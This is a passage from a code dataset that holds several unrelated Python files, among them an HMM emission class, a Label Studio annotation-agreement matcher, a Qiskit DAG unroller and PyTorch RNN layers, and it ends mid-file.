sort_and_standardize_criteria(criteria)\n num_equiv = DataRange(12, 12, max_inclusive=True)\n num2_equiv = DataRange(2, 2, max_inclusive=True)\n lex_equiv = DataRange(\"cat\", \"cat\", max_inclusive=True)\n # assertCountEqual WOULD make sense, except it seems to test on object\n # identity and not using the == operator. Instead, we sort\n scalar.sort()\n string.sort()\n self.assertEqual(scalar, [(\"num\", num_equiv),\n (\"num2\", num2_equiv),\n (\"numra\", criteria[\"numra\"])])\n self.assertEqual(string, [(\"lex\", lex_equiv),\n (\"lexra\", criteria[\"lexra\"])])\n self.assertEqual(scalar_list[0], (\"listnum\", criteria[\"listnum\"]))\n self.assertFalse(string_list)\n\n with self.assertRaises(ValueError) as context:\n sina.utils.sort_and_standardize_criteria({\"bork\": [\"meow\"]})\n self.assertIn('criteria must be a number, string', str(context.exception))\n\n def test_parse_data_string(self):\n \"\"\"Test the function for parsing a string to names and DataRanges.\"\"\"\n just_one = \"speed=[1,2)\"\n basic_case = DataRange(1, 2)\n a_few = \"speed=(1,2] quadrant=nw\"\n flipped_inclusivity = DataRange(1, 2, min_inclusive=False, max_inclusive=True)\n both_sides_equal = DataRange(\"nw\", \"nw\", max_inclusive=True)\n none = \"\"\n self.assertEqual(basic_case, sina.utils.parse_data_string(just_one)[\"speed\"])\n few_dict = sina.utils.parse_data_string(a_few)\n self.assertEqual(flipped_inclusivity, few_dict[\"speed\"])\n self.assertEqual(both_sides_equal, few_dict[\"quadrant\"])\n self.assertFalse(sina.utils.parse_data_string(none))\n","sub_path":"python/tests/utils_test.py","file_name":"utils_test.py","file_ext":"py","file_size_in_byte":28546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"526001894","text":"#! /usr/bin/python\nimport math\nfrom collections import defaultdict\nfrom rare_split import RareSplit\n\n\nclass Emission(object):\n def __init__(self, input_file, RARE_TYPE=False):\n # This class would calculate the log prob from tag to word\n # If RARE_TYPE set to True, we would divide original _RARE_ type into more classes\n # ../6.py would set RARE_TYPE to True\n self.RARE_TYPE = RARE_TYPE\n if RARE_TYPE:\n self.rare_splitter = RareSplit()\n self.counter = defaultdict(dict)\n self.tag_map = defaultdict(int)\n self.input_file = input_file\n self.tagger = defaultdict(dict)\n self.collector()\n self.tagger_gen()\n\n def collector(self):\n with open(self.input_file, \"r\") as f:\n l = f.readline()\n while l:\n line = l.strip()\n if line: # Nonempty line\n fields = line.split(\" \")\n try:\n if 'WORDTAG' in fields:\n cnt, typ, tag, word = fields\n self.counter[word].setdefault(tag, int(cnt))\n elif '1-GRAM' in fields:\n cnt, typ, tag = fields\n self.tag_map[tag] = int(cnt)\n except ValueError:\n pass\n l = f.readline()\n\n def tagger_gen(self):\n for word, tags in self.counter.items():\n for tag, cnt in tags.items():\n self.tagger[word].setdefault(tag, math.log(float(cnt)/self.tag_map[tag]))\n\n def get_emission(self, word, tag):\n if not word in self.tagger:\n if self.RARE_TYPE:\n rare_word = self.rare_splitter.get_type(word)\n return self.tagger.get(rare_word).get(tag, float(\"-inf\"))\n else:\n return self.tagger.get(\"_RARE_\").get(tag, float(\"-inf\"))\n return self.tagger.get(word).get(tag, float(\"-inf\"))\n","sub_path":"other_nlp_hw1/tagger_utils/emission.py","file_name":"emission.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"267692380","text":"# Copyright 2015 Hewlett-Packard Development Company, L.P. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\nimport datetime\nimport uuid\n\nimport pecan\nfrom pecan import rest\nimport wsme\nfrom wsme import types as wtypes\nimport wsmeext.pecan as wsme_pecan\n\nfrom pidgey.api.controllers import base\nfrom pidgey.api.controllers.v1 import collection\nfrom pidgey.api.controllers.v1 import types\nfrom pidgey import objects\nfrom pidgey.deliverer import rpcapi\n\n\nHEADERS = [\n \"sender\",\n \"recipients\",\n \"subject\",\n \"date\",\n \"message_id\"\n]\n\n\nclass Attachment(wsme.types.Base):\n size = int\n name = unicode\n url = unicode\n content_type = unicode\n\n\nclass Message(base.APIBase):\n id = wsme.wsattr(wtypes.text)\n\n sender = wsme.wsattr(wtypes.text, mandatory=True)\n \"\"\"Message sender\"\"\"\n\n recipients = wsme.wsattr([wtypes.text], mandatory=True)\n \"\"\"Message recipients\"\"\"\n\n subject = wsme.wsattr(wtypes.text, mandatory=True)\n \"\"\"Message subject\"\"\"\n\n date = wsme.wsattr(datetime.datetime, readonly=True)\n \"\"\"Message date\"\"\"\n\n message_id = wsme.wsattr(wtypes.text, readonly=True)\n \"\"\"Message message_id\"\"\"\n\n cc = wsme.wsattr(wtypes.text)\n \"\"\"Message Carbon Copy\"\"\"\n\n bcc = wsme.wsattr(wtypes.text)\n \"\"\"Message Blind Carbon Copy\"\"\"\n\n headers = wsme.wsattr([[wtypes.text, wtypes.text]])\n\n content = wsme.wsattr(wtypes.DictType(wtypes.text, wtypes.text))\n content_map = wsme.wsattr(wtypes.DictType(wtypes.text, wtypes.text))\n attachments = wsme.wsattr([Attachment])\n\n @classmethod\n def from_obj(cls, obj):\n i = cls()\n\n i.id = obj.id\n i.sender = obj.sender\n i.recipients = obj.recipients\n\n i.headers = map(list, obj.headers.items())\n i.content = obj.content\n\n i.content_map = obj.content_map\n\n i.attachments = obj.attachments\n for obj in obj.attachments:\n a = Attachment()\n\n for field in objects.Attachment.fields:\n setattr(a, field, getattr(obj, field))\n i.attachments.append(a)\n\n return i\n\n @staticmethod\n def _convert_with_links(obj, url, expand=True):\n if not expand:\n obj.unset_fields_except(['uuid', 'description'])\n else:\n return obj\n\n @classmethod\n def convert_with_links(cls, obj, expand=True):\n msg = cls.from_obj(obj)\n return msg\n\n def to_dict(self):\n msg = {\n \"sender\": self.sender,\n \"recipients\": self.recipients,\n }\n\n msg[\"content\"] = self.content\n\n msg.setdefault('headers', [])\n\n return msg\n\n\nclass MessageCollection(collection.Collection):\n _type = 'messages'\n\n messages = [Message]\n\n @staticmethod\n def convert_with_links(messages, limit, url=None, expand=False, **kwargs):\n c = MessageCollection()\n c.messages = [Message.convert_with_links(o, expand) for o in messages]\n\n c.next = c.get_next(limit, url=url, **kwargs)\n return c\n\n\nclass MessageController(rest.RestController):\n def __init__(self, domain_name, message_id):\n self.domain_name = domain_name\n self.message_id = message_id\n\n @wsme_pecan.wsexpose(Message)\n def get_all(self):\n ctxt = pecan.request.environ[\"context\"]\n\n obj = objects.Message.get(ctxt, self.message_id)\n return Message.convert_with_links(obj)\n\n @wsme_pecan.wsexpose(None, status_code=204)\n def delete(self):\n ctxt = pecan.request.environ[\"context\"]\n objects.Message.delete(ctxt, self.message_id)\n\n\nclass MessagesController(rest.RestController):\n def __init__(self, domain_name):\n self.domain_name = domain_name\n\n @pecan.expose()\n def _lookup(self, message_id, *remainder):\n return MessageController(self.domain_name, message_id), remainder\n\n def _get_collection(self, marker, limit, sort_key, sort_dir, expand=False,\n resource_url=None):\n ctxt = pecan.request.environ[\"context\"]\n\n messages = objects.Message.list(ctxt)\n return MessageCollection.convert_with_links(\n messages, limit, url=resource_url, expand=expand,\n sort_key=sort_key, sort_dir=sort_dir)\n\n @wsme_pecan.wsexpose(Message, body=Message, status_code=201)\n def post(self, message):\n ctxt = pecan.request.environ[\"context\"]\n\n # TODO(ekarlso): Make this better\n obj = objects.Message(id=str(uuid.uuid4()))\n obj.headers = objects.Headers(values=[], keys=[])\n obj.domain = self.domain_name\n obj.project_id = ctxt.project_id\n\n obj.sender = message.sender\n obj.recipients = message.recipients\n obj.subject = message.subject\n\n obj.content = message.content\n obj.attachments = []\n obj.content_map = {}\n obj.metadata = {}\n\n obj.save(ctxt)\n\n api = rpcapi.DelivererAPI.get_instance()\n api.deliver(ctxt, obj)\n\n return Message.convert_with_links(obj)\n\n @wsme_pecan.wsexpose(MessageCollection, types.uuid,\n int, wtypes.text, wtypes.text)\n def get_all(self, marker=None, limit=None, sort_key='name',\n sort_dir='asc'):\n return self._get_collection(marker, limit, sort_key, sort_dir)\n","sub_path":"pidgey/api/controllers/v1/messages.py","file_name":"messages.py","file_ext":"py","file_size_in_byte":5768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"37379831","text":"import random\n\nenemyShip = 2 # the enemy ship has two 'health points'. must reach 0 to sink\n\n# a list of all possible outcomes from a cannon firing\ncannons = [2,2,1,0] # 1/2 of the outcomes deal two damage (direct hit, enemy ship would have 0 health), \n # 1/4 is an indirect hit (need two of these to sink ship), 1/4 is a miss\n # the elements of this sample space represents these probabilities\n\nwinCount = 0 # a win is the ship sinks with the 4 cannon balls\nlossCount = 0 # a loss is the enemy ship does not sink with the 4 cannon balls\n\nsimulatedRounds = 20000000 # the number of simulations to run\n\n# main simulation loop\nfor m in range (0,simulatedRounds):\n\n for i in range(0,4): # loop 4 times to simulate the battle\n index = random.randint(0,len(cannons)-1) # pick a random event, with the probabilities account for\n fire = cannons[index] # the 'damage' to be made to the enemny ship\n\n enemyShip = enemyShip - fire # apply the damage\n\n if enemyShip <= 0: # if the enemy ship was sunk in the battle with the 4 cannon balls\n winCount = winCount + 1 # record a win\n else: # if Davy's ship was not sunk in battle\n lossCount = lossCount + 1 # record a loss\n\n # reset for a new simulation\n enemyShip = 2\n\nresult = winCount / simulatedRounds # the result is the number of wins that occured in all the simulations\nprint(\"The simulation's result is: \", result)\n","sub_path":"pblAssignment9.py","file_name":"pblAssignment9.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"23160552","text":"from collections import defaultdict\n\nimport numpy as np\nimport requests\nimport json\nimport logging\n\nfrom evalme.image.object_detection import prediction_bboxes, matrix_iou_bboxes\nfrom evalme.metrics import Metrics\nfrom evalme.utils import calculate_ap\n\nlogger = logging.getLogger(__name__)\n\n\nclass Matcher:\n \"\"\"\n Class for loading data from label studio\n \"\"\"\n def __init__(self, url='http://127.0.0.1:8000',\n token='', project=1, **kwargs):\n \"\"\"\n :param url: Label studio url\n :param token: access token\n :param project: from which project to load data\n \"\"\"\n self._headers = {\n 'Authorization': 'Token ' + token,\n 'Content-Type': 'application/json'\n }\n self._raw_data = {}\n self._project_url = url + f'/api/projects/{project}'\n self._control_weights = {}\n self._url = url\n self._project = project\n\n def _load_data(self):\n # initialize values\n self._result_name = 'annotations'\n self._new_format = True\n self._export_url = self._url + f'/api/projects/{self._project}/export?exportType=JSON'\n # request data from LS\n response = requests.get(self._export_url, headers=self._headers)\n control_weights = requests.get(self._project_url, headers=self._headers)\n # check LS version\n if 'export_files' in response.text:\n self._result_name = 'completions'\n self._new_format = False\n self._export_url = self._url + f'/api/projects/{self._project}/results'\n response = requests.get(self._export_url, headers=self._headers)\n # load data and configuration\n self._control_weights = json.loads(control_weights.text)\n self._raw_data = json.loads(response.text)\n # raise exception if access token is invalid\n if isinstance(self._raw_data, dict):\n if 'Invalid token' in self._raw_data.get('detail'):\n raise ValueError('Invalid authorization token!')\n\n def refresh(self):\n self._load_data()\n\n def _load_from_file(self, filename):\n with open(filename) as f:\n self._raw_data = json.load(f)\n # check data for annotations tag\n for item in self._raw_data:\n if item.get('completions') is not None:\n self._new_format = False\n self._result_name = 'completions'\n break\n if item.get('annotations') is not None:\n self._new_format = True\n self._result_name = 'annotations'\n break\n\n def _annotations_diff(self):\n result = 0\n for item in self._raw_data:\n annotations = item[self._result_name]\n if len(annotations) > 0:\n num_results = len(annotations) if self._new_format else len(annotations[0].get('result'))\n if num_results > 1:\n result += 1\n return result\n\n def load(self, filename):\n self._load_from_file(filename)\n\n def get_iou_score(self):\n \"\"\"\n One evaluation score per N predictions vs all annotations\n :return: agreement float[0..1] or None\n \"\"\"\n score = 0\n tasks = 0\n for item in self._raw_data:\n annotations = item[self._result_name]\n predictions = item['predictions']\n score += self.matching_score(annotations, predictions, metric_name='iou_bboxes')\n tasks += 1\n if tasks > 0:\n agreement = score / tasks\n else:\n agreement = None\n return agreement\n\n def get_score_per_task(self, metric_name=None):\n \"\"\"\n One evaluation score per N predictions vs all annotations\n :return: agreement float[0..1] or None\n \"\"\"\n agreement = []\n\n for item in self._raw_data:\n annotations = item[self._result_name]\n predictions = item['predictions']\n score = self.matching_score(annotations, predictions, metric_name=metric_name)\n agreement.append(score)\n return agreement\n\n def get_score_per_prediction(self, per_label=False, metric_name=None):\n \"\"\"\n N agreement scores per each prediction vs corresponding annotation\n :return: dict {\n prediction.id: float[0..1]\n }\n \"\"\"\n scores = {}\n control_weights = self._control_weights or {}\n for item in self._raw_data:\n annotations = item[self._result_name]\n predictions = item.get('predictions')\n if predictions is None:\n logger.warning('No predictions found in results.')\n break\n for prediction in predictions:\n if per_label:\n scores[prediction['id']] = defaultdict(int)\n score = defaultdict(int)\n tasks = defaultdict(int)\n else:\n scores[prediction['id']] = None\n score = 0\n tasks = 0\n for annotation in annotations:\n try:\n prediction_result = prediction['result'] if self._new_format else prediction['result'][0]\n annotation_result = annotation['result'] if self._new_format else annotation['result'][0]\n matching = Metrics.apply(\n control_weights, prediction_result, annotation_result,\n symmetric=True, per_label=per_label, metric_name=metric_name\n )\n if per_label:\n for label in matching:\n score[label] += matching[label]\n tasks[label] += 1\n else:\n score += matching\n tasks += 1\n except Exception as exc:\n logger.debug(\n f\"Can\\'t compute matching score in similarity matrix for task=,\"\n f\"annotation={annotation}, prediction={prediction}, \"\n f\"Reason: {exc}\",\n exc_info=True,\n )\n if per_label:\n for label in tasks:\n scores[prediction['id']][label] = score[label] / tasks[label]\n else:\n if tasks > 0:\n scores[prediction['id']] = score / tasks\n return scores\n\n def agreement_matrix(self, per_label=False, metric_name=None):\n \"\"\"\n Per task agreement matrix for annotations\n :return: { task.id: np.array(m, m) -> float[0..1]\n }\n \"\"\"\n agreement = {}\n control_weights = self._control_weights or {}\n for item in self._raw_data:\n annotations = item[self._result_name]\n if len(annotations) > 0:\n num_results = len(annotations) if self._new_format else len(annotations[0]['result'])\n else:\n continue\n matrix = np.full((num_results, num_results), np.nan)\n for i in range(num_results):\n for j in range(i + 1, num_results):\n annotations_i = annotations[i]['result'] if self._new_format else annotations[0]['result'][i]\n annotations_j = annotations[j]['result'] if self._new_format else annotations[0]['result'][j]\n matching_score = Metrics.apply(\n control_weights,\n annotations_i,\n annotations_j,\n symmetric=True,\n per_label=per_label,\n metric_name=metric_name,\n )\n matrix[i][j] = matrix[j][i] = matching_score\n agreement[item['id']] = matrix\n return agreement\n\n def matching_score(self, annotations, predictions, metric_name=None, iou_threshold=None):\n \"\"\"\n One evaluation score per N predictions vs all annotations per task\n :return: agreement float[0..1] or None\n \"\"\"\n score = 0\n tasks = 0\n control_weights = self._control_weights or {}\n for annotation in annotations:\n for prediction in predictions:\n try:\n prediction_result = prediction['result'] if self._new_format else prediction['result'][0]\n annotation_result = annotation['result'] if self._new_format else annotation['result'][0]\n matching = Metrics.apply(\n control_weights, prediction_result, annotation_result, symmetric=True, per_label=False,\n metric_name=metric_name, iou_threshold=iou_threshold\n )\n score += matching\n tasks += 1\n except Exception as exc:\n logger.debug(\n f\"Can\\'t compute matching score in similarity matrix for task=,\"\n f\"annotation={annotation}, prediction={prediction}, \"\n f\"Reason: {exc}\",\n exc_info=True,\n )\n if tasks > 0:\n return score / tasks\n else:\n return None\n\n def matching_score_per_label(self, annotations, predictions, metric_name=None, iou_threshold=None):\n \"\"\"\n One evaluation score per N predictions vs all annotations per label\n :return: dict { label: float[0..1] or None }\n \"\"\"\n score = defaultdict(int)\n tasks = defaultdict(int)\n control_weights = self._control_weights or {}\n for annotation in annotations:\n for prediction in predictions:\n try:\n prediction_result = prediction['result'] if self._new_format else prediction['result'][0]\n annotation_result = annotation['result'] if self._new_format else annotation['result'][0]\n matching = Metrics.apply(\n control_weights, prediction_result, annotation_result, symmetric=True, per_label=True,\n metric_name=metric_name, iou_threshold=iou_threshold\n )\n for label in matching:\n score[label] += matching[label]\n tasks[label] += 1\n except Exception as exc:\n logger.debug(\n f\"Can\\'t compute matching score in similarity matrix for task=,\"\n f\"annotation={annotation}, prediction={prediction}, \"\n f\"Reason: {exc}\",\n exc_info=True,\n )\n results = {}\n for label in score:\n results[label] = score[label] / tasks[label]\n return results\n\n def get_mAP_score(self):\n \"\"\"\n One mAP score per N predictions vs all annotations\n :return: agreement float[0..1] or None\n \"\"\"\n items_ars = []\n for item in self._raw_data:\n annotations = item[self._result_name]\n predictions = item['predictions']\n for prediction in predictions:\n pred_results = []\n for annotation in annotations:\n try:\n prediction_result = prediction['result'] if self._new_format else prediction['result'][0]\n annotation_result = annotation['result'] if self._new_format else annotation['result'][0]\n matching = prediction_bboxes(annotation_result, prediction_result, iou_threshold=0.5,)\n pred_results.append(matching)\n except Exception as e:\n print(e)\n items_ars.append(calculate_ap(pred_results))\n return sum(items_ars) / len(items_ars)\n\n def get_results_comparision_matrix_iou(self):\n \"\"\"\n Total IOU matrix for each shape in annotations\n \"\"\"\n results = {}\n for task in self._raw_data:\n annotations = task[self._result_name]\n predictions = task['predictions']\n results[task['id']] = self.get_results_comparision_matrix_by_task_iou(annotations, predictions)\n return results\n\n def get_results_comparision_matrix_by_task_iou(self, annotations, predictions):\n results = {}\n label_weights = self._control_weights.get('control_weights', {}).get('label', {}).get('labels')\n for annotation in annotations:\n results[annotation['id']] = {}\n for prediction in predictions:\n results[annotation['id']][prediction['id']] = {}\n try:\n prediction_result = prediction['result'] if self._new_format else prediction['result'][0]\n annotation_result = annotation['result'] if self._new_format else annotation['result'][0]\n t = matrix_iou_bboxes(annotation_result, prediction_result,\n label_weights=label_weights)\n results[annotation['id']][prediction['id']] = t\n except Exception as exc:\n logger.debug(\n f\"Can\\'t compute matching score in similarity matrix for task=,\"\n f\"annotation={annotation}, prediction={prediction}, \"\n f\"Reason: {exc}\",\n exc_info=True,\n )\n return results\n\n def get_annotations_agreement(self, metric_name=None):\n \"\"\"\n One evaluation score per all annotations\n :return: agreement float[0..1] or None\n \"\"\"\n score = 0\n tasks = 0\n for item in self._raw_data:\n annotations = item[self._result_name]\n s = self.matching_score(annotations, annotations, metric_name=metric_name)\n score += s if s else 0\n tasks += 1\n if tasks > 0:\n agreement = score / tasks\n else:\n agreement = None\n return agreement\n","sub_path":"evalme/matcher.py","file_name":"matcher.py","file_ext":"py","file_size_in_byte":14289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"367617299","text":"# -*- coding: utf-8 -*-\n\n# Copyright 2017, IBM.\n#\n# This source code is licensed under the Apache License, Version 2.0 found in\n# the LICENSE.txt file in the root directory of this source tree.\n\n\"\"\"\nDAG Unroller\n\"\"\"\n\nimport networkx as nx\n\nfrom qiskit.unroll import Unroller\nfrom qiskit.qasm._node import Real, Id, IdList, ExpressionList, Gate, \\\n PrimaryList, Int, IndexedId, Qreg, If, Creg, \\\n Program, CustomUnitary\nfrom ._unrollererror import UnrollerError\nfrom ._dagbackend import DAGBackend\n\n\nclass DagUnroller(object):\n \"\"\"An Unroller that takes Dag circuits as the input.\"\"\"\n def __init__(self, dag_circuit, backend=None):\n if dag_circuit is None:\n raise UnrollerError('Invalid dag circuit!!')\n\n self.dag_circuit = dag_circuit\n self.backend = backend\n\n def set_backend(self, backend):\n \"\"\"Set the backend object.\"\"\"\n self.backend = backend\n\n def execute(self):\n \"\"\"Interpret OPENQASM and make appropriate backend calls.\"\"\"\n if self.backend is not None:\n self._process()\n return self.backend.get_output()\n else:\n raise UnrollerError(\"backend not attached\")\n\n # TODO This method should merge with .execute(), so the output will depend\n # on the backend associated with this DagUnroller instance\n def expand_gates(self, basis=None):\n \"\"\"Expand all gate nodes to the given basis.\n\n If basis is empty, each custom gate node is replaced by its\n implementation over U and CX. If basis contains names, then\n those custom gates are not expanded. For example, if \"u3\"\n is in basis, then the gate \"u3\" will not be expanded wherever\n it occurs.\n\n This member function replicates the behavior of the unroller\n module without using the OpenQASM parser.\n \"\"\"\n\n if basis is None:\n basis = self.backend.basis\n\n if not isinstance(self.backend, DAGBackend):\n raise UnrollerError(\"expand_gates only accepts a DAGBackend!!\")\n\n # Build the Gate AST nodes for user-defined gates\n gatedefs = []\n for name, gate in self.dag_circuit.gates.items():\n children = [Id(name, 0, \"\")]\n if gate[\"n_args\"] > 0:\n children.append(ExpressionList(list(\n map(lambda x: Id(x, 0, \"\"),\n gate[\"args\"])\n )))\n children.append(IdList(list(\n map(lambda x: Id(x, 0, \"\"),\n gate[\"bits\"])\n )))\n children.append(gate[\"body\"])\n gatedefs.append(Gate(children))\n # Walk through the DAG and examine each node\n builtins = [\"U\", \"CX\", \"measure\", \"reset\", \"barrier\"]\n topological_sorted_list = list(nx.topological_sort(self.dag_circuit.multi_graph))\n for node in topological_sorted_list:\n current_node = self.dag_circuit.multi_graph.node[node]\n if current_node[\"type\"] == \"op\" and \\\n current_node[\"name\"] not in builtins + basis and \\\n not self.dag_circuit.gates[current_node[\"name\"]][\"opaque\"]:\n subcircuit, wires = self._build_subcircuit(gatedefs,\n basis,\n current_node[\"name\"],\n current_node[\"params\"],\n current_node[\"qargs\"],\n current_node[\"condition\"])\n self.dag_circuit.substitute_circuit_one(node, subcircuit, wires)\n return self.dag_circuit\n\n def _build_subcircuit(self, gatedefs, basis, gate_name, gate_params, gate_args,\n gate_condition):\n \"\"\"Build DAGCircuit for a given user-defined gate node.\n\n gatedefs = dictionary of Gate AST nodes for user-defined gates\n gate_name = name of gate to expand to target_basis (nd[\"name\"])\n gate_params = list of gate parameters (nd[\"params\"])\n gate_args = list of gate arguments (nd[\"qargs\"])\n gate_condition = None or tuple (string, int) (nd[\"condition\"])\n\n Returns (subcircuit, wires) where subcircuit is the DAGCircuit\n corresponding to the user-defined gate node expanded to target_basis\n and wires is the list of input wires to the subcircuit in order\n corresponding to the gate's arguments.\n \"\"\"\n\n children = [Id(gate_name, 0, \"\")]\n if gate_params:\n children.append(\n ExpressionList(list(map(Real, gate_params)))\n )\n new_wires = [(\"q\", j) for j in range(len(gate_args))]\n children.append(\n PrimaryList(\n list(map(lambda x: IndexedId(\n [Id(x[0], 0, \"\"), Int(x[1])]\n ), new_wires))\n )\n )\n gate_node = CustomUnitary(children)\n id_int = [Id(\"q\", 0, \"\"), Int(len(gate_args))]\n # Make a list of register declaration nodes\n reg_nodes = [\n Qreg(\n [\n IndexedId(id_int)\n ]\n )\n ]\n # Add an If node when there is a condition present\n if gate_condition:\n gate_node = If([\n Id(gate_condition[0], 0, \"\"),\n Int(gate_condition[1]),\n gate_node\n ])\n new_wires += [(gate_condition[0], j)\n for j in range(self.dag_circuit.cregs[gate_condition[0]])]\n reg_nodes.append(\n Creg([\n IndexedId([\n Id(gate_condition[0], 0, \"\"),\n Int(self.dag_circuit.cregs[gate_condition[0]])\n ])\n ])\n )\n\n # Build the whole program's AST\n sub_ast = Program(gatedefs + reg_nodes + [gate_node])\n # Interpret the AST to give a new DAGCircuit over backend basis\n sub_circuit = Unroller(sub_ast, DAGBackend(basis)).execute()\n return sub_circuit, new_wires\n\n def _process(self):\n for name, width in self.dag_circuit.qregs.items():\n self.backend.new_qreg(name, width)\n for name, width in self.dag_circuit.cregs.items():\n self.backend.new_creg(name, width)\n for name, data in self.dag_circuit.gates.items():\n self.backend.define_gate(name, data)\n for n in nx.topological_sort(self.dag_circuit.multi_graph):\n current_node = self.dag_circuit.multi_graph.node[n]\n if current_node[\"type\"] == \"op\":\n params = map(Real, current_node[\"params\"])\n params = list(params)\n if current_node[\"condition\"] is not None:\n self.backend.set_condition(current_node[\"condition\"][0],\n current_node[\"condition\"][1])\n if not current_node[\"cargs\"]:\n if current_node[\"name\"] == \"U\":\n self.backend.u(params, current_node[\"qargs\"][0])\n elif current_node[\"name\"] == \"CX\":\n self.backend.cx(current_node[\"qargs\"][0], current_node[\"qargs\"][1])\n elif current_node[\"name\"] == \"barrier\":\n self.backend.barrier([current_node[\"qargs\"]])\n elif current_node[\"name\"] == \"reset\":\n self.backend.reset(current_node[\"qargs\"][0])\n\n # TODO: The schema of the snapshot gate is radically\n # different to other QASM instructions. The current model\n # of extensions does not support generating custom Qobj\n # instructions (only custom QASM strings) and the default\n # instruction generator is not enough to produce a valid\n # snapshot instruction for the new Qobj format.\n #\n # This is a hack since there would be mechanisms for the\n # extensions to provide their own Qobj instructions.\n # Extensions should not be hardcoded in the DAGUnroller.\n elif current_node[\"name\"] == \"snapshot\":\n self.backend.start_gate(\n \"snapshot\", params, current_node[\"qargs\"],\n extra_fields={'type': 'MISSING', 'label': 'MISSING', 'texparams': []})\n self.backend.end_gate(\"snapshot\", params, current_node[\"qargs\"])\n else:\n self.backend.start_gate(current_node[\"name\"], params,\n current_node[\"qargs\"])\n self.backend.end_gate(current_node[\"name\"], params, current_node[\"qargs\"])\n else:\n if current_node[\"name\"] == \"measure\":\n if len(current_node[\"cargs\"]) != 1 or len(current_node[\"qargs\"]) != 1 \\\n or current_node[\"params\"]:\n raise UnrollerError(\"Bad node data!!\")\n\n self.backend.measure(current_node[\"qargs\"][0], current_node[\"cargs\"][0])\n else:\n raise UnrollerError(\"Bad node data!\")\n\n self.backend.drop_condition()\n return self.backend.get_output()\n","sub_path":"qiskit/unroll/_dagunroller.py","file_name":"_dagunroller.py","file_ext":"py","file_size_in_byte":9543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"10099070","text":"# Copyright 2018 Quantapix Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# =============================================================================\n\nimport logging\n\nimport torch as tr\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom torch.autograd import Variable\n\nfrom ...base import Fixture, Flow\n\nlog = logging.getLogger(__name__)\n\n\nclass Stacked(Fixture):\n\n def __init__(self, args, in_size, num_layers, rnn):\n super().__init__(args)\n self.rnns = nn.ModuleList()\n hi_size = args.hidden_size\n for i in range(num_layers):\n in_size = in_size if i == 0 else 2 * hi_size\n self.rnns.append(rnn(in_size, hi_size, bidirectional=True))\n\n def forward(self, x, x_mask):\n args = self.args\n training = self.training\n if x_mask.data.sum() != 0 and (args.padding or not training):\n ls = x_mask.data.eq(0).long().sum(1).squeeze()\n _, sort = tr.sort(ls, dim=0, descending=True)\n _, unsort = tr.sort(sort, dim=0)\n x = x.index_select(0, Variable(sort))\n x = x.transpose(0, 1)\n ys = [nn.utils.rnn.pack_padded_sequence(x, list(ls[sort]))]\n for i in range(len(self.rnns)):\n rx = ys[-1]\n if args.dropout > 0:\n d = F.dropout(rx.data, args.dropout, training)\n rx = nn.utils.rnn.PackedSequence(d, rx.batch_sizes)\n ys.append(self.rnns[i](rx)[0])\n for i, o in enumerate(ys[1:], 1):\n ys[i] = nn.utils.rnn.pad_packed_sequence(o)[0]\n y = tr.cat(ys[1:], 2) if args.concat_layers else ys[-1]\n y = y.transpose(0, 1)\n y = y.index_select(0, Variable(unsort))\n if y.size(1) != x_mask.size(1):\n pad = tr.zeros(y.size(0), x_mask.size(1) - y.size(1),\n y.size(2)).type(y.data.type())\n y = tr.cat([y, Variable(pad)], 1)\n else:\n ys = [x.transpose(0, 1)]\n for i in range(len(self.rnns)):\n rx = ys[-1]\n if args.dropout > 0:\n rx = F.dropout(rx, args.dropout, training)\n ys.append(self.rnns[i](rx)[0])\n y = tr.cat(ys[1:], 2) if args.concat_layers else ys[-1]\n y = y.transpose(0, 1)\n if args.dropout_y and args.dropout > 0:\n y = F.dropout(y, args.dropout, training)\n return y.contiguous()\n\n\nclass Match(nn.Module):\n\n linear = None\n\n def __init__(self, in_size, identity=False):\n super().__init__()\n if not identity:\n self.linear = nn.Linear(in_size, in_size)\n\n def forward(self, x, y, y_mask):\n if self.linear:\n x_proj = self.linear(x.view(-1, x.size(2))).view(x.size())\n x_proj = F.relu(x_proj)\n y_proj = self.linear(y.view(-1, y.size(2))).view(y.size())\n y_proj = F.relu(y_proj)\n else:\n x_proj = x\n y_proj = y\n scores = x_proj.bmm(y_proj.transpose(2, 1))\n y_mask = y_mask.unsqueeze(1).expand(scores.size())\n scores.data.masked_fill_(y_mask.data, -float('inf'))\n alpha_flat = F.softmax(scores.view(-1, y.size(1)))\n alpha = alpha_flat.view(-1, x.size(1), y.size(1))\n matched_seq = alpha.bmm(y)\n return matched_seq\n\n\nclass Bilinear(nn.Module):\n\n linear = None\n\n def __init__(self, c_size, q_size, normalize=True, identity=False):\n super().__init__()\n self.normalize = normalize\n if not identity:\n self.linear = nn.Linear(q_size, c_size)\n\n def forward(self, c, q, c_mask):\n Wq = self.linear(q) if self.linear is not None else q\n cWq = c.bmm(Wq.unsqueeze(2)).squeeze(2)\n cWq.data.masked_fill_(c_mask.data, -float('inf'))\n if self.normalize:\n return F.log_softmax(cWq) if self.training else F.softmax(cWq)\n return cWq.exp()\n\n\nclass Linear(nn.Module):\n\n def __init__(self, in_size):\n super().__init__()\n self.linear = nn.Linear(in_size, 